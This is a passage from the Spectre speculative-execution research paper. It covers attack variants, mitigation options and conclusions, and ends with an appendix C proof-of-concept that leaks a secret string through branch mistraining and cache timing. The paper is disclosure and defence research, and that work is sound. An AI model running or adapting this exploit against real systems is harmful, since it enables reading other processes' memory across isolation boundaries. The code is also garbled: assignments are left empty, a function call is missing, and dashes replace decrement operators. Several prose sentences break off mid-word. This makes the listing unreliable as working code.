method as the JavaScript example, i.e., by allocating
a large table and using a pair of indexes to read ad-
dresses at 4096-byte multiples of the address to evict.
• Thread(s) were launched to mistrain the branch pre-
dictor. These use a 220 byte (1MB) executable mem-
ory region filled with 0xC3 bytes (ret instructions.
The victim’s pattern of jump destinations is mapped
to addresses in this area, with an adjustment for
ASLR found during an initial training process (see
below). The mistraining threads run a loop which
pushes the mapped addresses onto the stack such that
an initiating ret instruction results in the processor
performing a series of return instructions in the mem-
ory region, then branches to the gadget address, then
(because of the ret placed there) immediately re-
turns back to the loop. To encourage hyperthreading
of the mistraining thread and the victim, the eviction
and probing threads set their CPU affinity to share a
core (which they keep busy), leaving the victim and
mistraining threads to share the rest of the cores.
• During the initial phase of getting the branch predic-
tor mistraining working, the victim is supplied with
input that, when the victim calls Sleep(), [ebx +
3h + 13BE13BDh] will read a DLL location whose
value is known and edi is chosen such that the sec-
ond operation will point to another location that can
be monitored easily. With these settings, the branch
training sequence is adjusted to compensate for the
victim’s ASLR.
• Finally, once an effective mimic jump sequence is
found, the attacker can read through the victim’s ad-
dress space to locate and read victim data regions to
locate values (which can move due to ASLR) by con-
trolling the values of ebx and edi and using flush-
and-probe on the DLL region selected above.
The completed attack allows the reading of memory
from the victim process.
So far we have demonstrated attacks that leverage
changes in the state of the cache that occur during spec-
ulative execution. Future processors (or existing proces-
sors with different microcode) may behave differently,
e.g., if measures are taken to prevent speculatively ex-
ecuted code from modifying the cache state. In this
section, we examine potential variants of the attack, in-
cluding how speculative execution could affect the state
of other microarchitectural components. In general, the
Spectre attack can be combined with other microarchi-
tectural attacks. In this section we explore potential com-
binations and conclude that virtually any observable ef-
fect of speculatively executed code can potentially lead
to leaks of sensitive information. Although the following
techniques are not needed for the processors tested (and
have not been implemented), it is essential to understand
potential variations when designing or evaluating mitiga-
Evict+Time. The Evict+Time attack [29] works by
measuring the timing of operations that depend on the
state of the cache. This technique can be adapted to use
Spectre as follows. Consider the code:
if (false but mispredicts as true)
read array1[R1] read [R2] Suppose register R1 contains a secret value. If the
speculatively executed memory read of array1[R1] is
a cache hit, then nothing will go on the memory bus
and the read from [R2] will initiate quickly. If the read
of array1[R1] is a cache miss, then the second read
may take longer, resulting in different timing for the vic-
tim thread. In addition, other components in the system
that can access memory (such as other processors) may
be able to the presence of activity on the memory bus
or other effects of the memory read (e.g. changing the
DRAM row address select). We note that this attack,
unlike those we have implemented, would work even if
speculative execution does not modify the contents of the
cache. All that is required is that the state of the cache af-
fects the timing of speculatively executed code or some
other property that ultimately becomes is visible to the
Instruction Timing. Spectre vulnerabilities do not nec-
essarily need to involve caches. Instructions whose tim-
ing depends on the values of the operands may leak in-
formation on the operands [8]. In the following example,
the multiplier is occupied by the speculative execution
of multiply R1, R2. The timing of when the multi-
plier becomes available for multiply R3, R4 (either
for out-of-order execution or after the misprediction is
recognized) could be affected by the timing of the first
multiplication, revealing information about R1 and R2.
if (false but mispredicts as true)
multiply R1, R2
multiply R3, R4
Contention on the Register File. Suppose the CPU has
a registers file with a finite number of registers available
for storing checkpoints for speculative execution. In the
following example, if condition on R1 in the second
‘if’ is true, then an extra speculative execution check-
point will be created than if condition on R1 is false.
If an adversary can detect this checkpoint, e.g., if spec-
ulative execution of code in hyperthreads is reduced due
to a shortage of storage, this reveals information about
if (false but mispredicts as true)
if (condition on R1)
if (condition)
Variations on Speculative Execution. Even code that
contains no conditional branches can potentially be at
risk. For example, consider the case where an attacker
wishes to determine whether R1 contains an attacker-
chosen value X or some other value. (The ability to
make such determinations is sufficient to break some
cryptographic implementations.) The attacker mistrains
the branch predictor such that, after an interrupt occurs,
and the interrupt return mispredicts to an instruction that
reads memory [R1]. The attacker then chooses X to cor-
respond to a memory address suitable for Flush+Reload,
revealing whether R1= X.
Leveraging arbitrary observable effects. Virtually
any observable effect of speculatively executed code can
be leveraged to leak sensitive information.
Consider the example in Listing 1 where the operation
after the access to array1/array2 is observable when
executed speculatively. In this case, the timing of when
the observable operation begins will depend on the cache
status of array2.
if (x < array1_size) {
y = array2[array1[x] * 256];
// do something using Y that is
// observable when speculatively executed}
7 Mitigation Options
The conditional branch vulnerability can be mitigated
if speculative execution can be halted on potentially-
sensitive execution paths. On Intel x86 processors, “se-
rializing instructions” appear to do this in practice, al-
though their architecturally-guaranteed behavior is to
“constrain speculative execution because the results of
speculatively executed instructions are discarded” [4].
This is different from ensuring that speculative execution
will not occur or leak information. As a result, serializa-
tion instructions may not be an effective countermeasure
on all processors or system configurations. In addition,
of the three user-mode serializing instructions listed by
Intel, only cpuid can be used in normal code, and it de-
stroys many registers. The mfence and lfence (but not
sfence) instructions also appear to work, with the added
benefit that they do not destroy register contents. Their
behavior with respect to speculative execution is not de-
fined, however, so they may not work in all CPUs or sys-
tem configurations.1 Testing on non-Intel CPUs has not
been performed. While simple delays could theoretically
work, they would need to be very long since specula-
tive execution routinely stretches nearly 200 instructions
ahead of a cache miss, and much greater distances may
The problem of inserting speculative execution block-
ing instructions is challenging. Although a compiler
could easily insert such instructions comprehensively
(i.e., at both the instruction following each conditional
branch and its destination), this would severely degrade
performance. Static analysis techniques might be able to
eliminate some of these checks. Insertion in security-
critical routines alone is not sufficient, since the vul-
nerability can leverage non-security-critical code in the
same process. In addition, code needs to be recompiled,
presenting major practical challenges for legacy applica-
Indirect branch poisoning is even more challenging
to mitigate in software. It might be possible to disable
hyperthreading and flush branch prediction state during
context switches, although there does not appear to be
any architecturally-defined method for doing this [14].
This also may not address all cases, such as switch()
statements where inputs to one case may be hazardous in
another. (This situation is likely to occur in interpreters
and parsers.) In addition, the applicability of specula-
tive execution following other forms of jumps, such as
those involved in interrupt handling, are also currently
unknown and likely to vary among processors.
The practicality of microcode fixes for existing proces-
sors is also unknown. It is possible that a patch could dis-
able speculative execution or prevent speculative mem-
ory reads, but this would bring a significant performance
penalty. Buffering speculatively-initiated memory trans-
actions separately from the cache until speculative exe-
cution is committed is not a sufficient countermeasure,
since the timing of speculative execution can also reveal
information. For example, if speculative execution uses
a sensitive value to form the address for a memory read,
1 After reviewing an initial draft of this paper, Intel engineers in-
dicated that the definition of lfence will be revised to specify that it
blocks speculative execution.
the cache status of that read will affect the timing of the
next speculative operation. If the timing of that opera-
tion can be inferred, e.g., because it affects a resource
such as a bus or ALU used by other threads, the mem-
ory is compromised. More broadly, potential counter-
measures limited to the memory cache are likely to be
insufficient, since there are other ways that speculative
execution can leak information. For example, timing ef-
fects from memory bus contention, DRAM row address
selection status, availability of virtual registers, ALU ac-
tivity, and the state of the branch predictor itself need
to be considered. Of course, speculative execution will
also affect conventional side channels, such as power and
As a result, any software or microcode countermea-
sure attempts should be viewed as stop-gap measures
pending further research.
Conclusions and Future Work
Software isolation techniques are extremely widely de-
ployed under a variety of names, including sandbox-
ing, process separation, containerization, memory safety,
proof-carrying code. A fundamental security assumption
underpinning all of these is that the CPU will faithfully
execute software, including its safety checks. Specula-
tive execution unfortunately violates this assumption in
ways that allow adversaries to violate the secrecy (but
not integrity) of memory and register contents. As a re-
sult, a broad range of software isolation approaches are
impacted. In addition, existing countermeasures to cache
attacks for cryptographic implementations consider only
the instructions ‘officially’ executed, not effects due to
speculative execution, and are also impacted.
The feasibility of exploitation depends on a number
of factors, including aspects of the victim CPU and soft-
ware and the adversary’s ability to interact with the vic-
tim. While network-based attacks are conceivable, situa-
tions where an attacker can run code on the same CPU as
the victim pose the primary risk. In these cases, exploita-
tion may be straightforward, while other attacks may de-
pend on minutiae such as choices made by the victim’s
compiler in allocating registers and memory. Fuzzing
tools can likely be adapted by adversaries to find vulner-
abilities in current software.
As the attack involves currently-undocumented hard-
ware effects, exploitability of a given software program
may vary among processors. For example, some indirect
branch redirection tests worked on Skylake but not on
Haswell. AMD states that its Ryzen processors have “an
artificial intelligence neural network that learns to pre-
dict what future pathway an application will take based
on past runs” [3, 5], implying even more complex spec-
ulative behavior. As a result, while the stop-gap coun-
termeasures described in the previous section may help
limit practical exploits in the short term, there is currently
no way to know whether a particular code construction
is, or is not, safe across today’s processors – much less
future designs.
A great deal of work lies ahead. Software security
fundamentally depends on having a clear common un-
derstanding between hardware and software developers
as to what information CPU implementations are (and
are not) permitted to expose from computations. As a re-
sult, long-term solutions will require that instruction set
architectures be updated to include clear guidance about
the security properties of the processor, and CPU imple-
mentations will need to be updated to conform.
More broadly, there are trade-offs between security
and performance. The vulnerabilities in this paper, as
well as many others, arise from a longstanding focus in
the technology industry on maximizing performance. As
a result, processors, compilers, device drivers, operating
systems, and numerous other critical components have
evolved compounding layers of complex optimizations
that introduce security risks. As the costs of insecurity
rise, these design choices need to be revisited, and in
many cases alternate implementations optimized for se-
curity will be required.
This work partially overlaps with independent work by
Google Project Zero.
We would like to thank Intel for their professional han-
dling of this issue through communicating a clear time-
line and connecting all involved researchers. We would
also thank ARM, Qualcomm, and other vendors for their
fast response upon disclosing the issue.
Daniel Gruss, Moritz Lipp, Stefan Mangard and
Michael Schwarz were supported by the European Re-
search Council (ERC) under the European Union’s Hori-
zon 2020 research and innovation programme (grant
agreement No 681402).
Daniel Genkin was supported by NSF awards
#1514261 and #1652259, financial assistance award
70NANB15H328 from the U.S. Department of Com-
merce, National Institute of Standards and Technol-
ogy, the 2017-2018 Rothschild Postdoctoral Fellowship,
and the Defense Advanced Research Project Agency
(DARPA) under Contract #FA8650-16-C-7622.
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Spectre Example Implementation
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h>
/* for rdtscp and clflush */
#pragma optimize(“gt”,on)
#include <x86intrin.h>
/* for rdtscp and clflush */
Victim code.
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = “The Magic Words are Squeamish Ossifrage.”;
uint8_t temp = 0;
/* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
Analysis code
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries–) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j–) {
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) – 1) & ~0xFFFF;
/* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16));
/* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) – time1;
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit – add +1 to score for this value */
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] =
score[0] =
value[1] =
score[1] =
int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1);
/* default for malicious_x */
int i, score[2], len=40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1;
/* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], “%p”, (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], “%d”, &len);
printf(“Reading %d bytes:\n”, len);
while (–len >= 0) {
printf(“Reading at malicious_x = %p… “, (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf(“%s: “, (score[0] >= 2*score[1] ? “Success” : “Unclear”));
printf(“0x%02X=’%c’ score=%d
“, value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
if (score[1] > 0)
printf(“(second best: 0x%02X score=%d)”, value[1], score[1]);
return (0);
Listing 4: A demonstration reading memory using a Spectre attack on x86.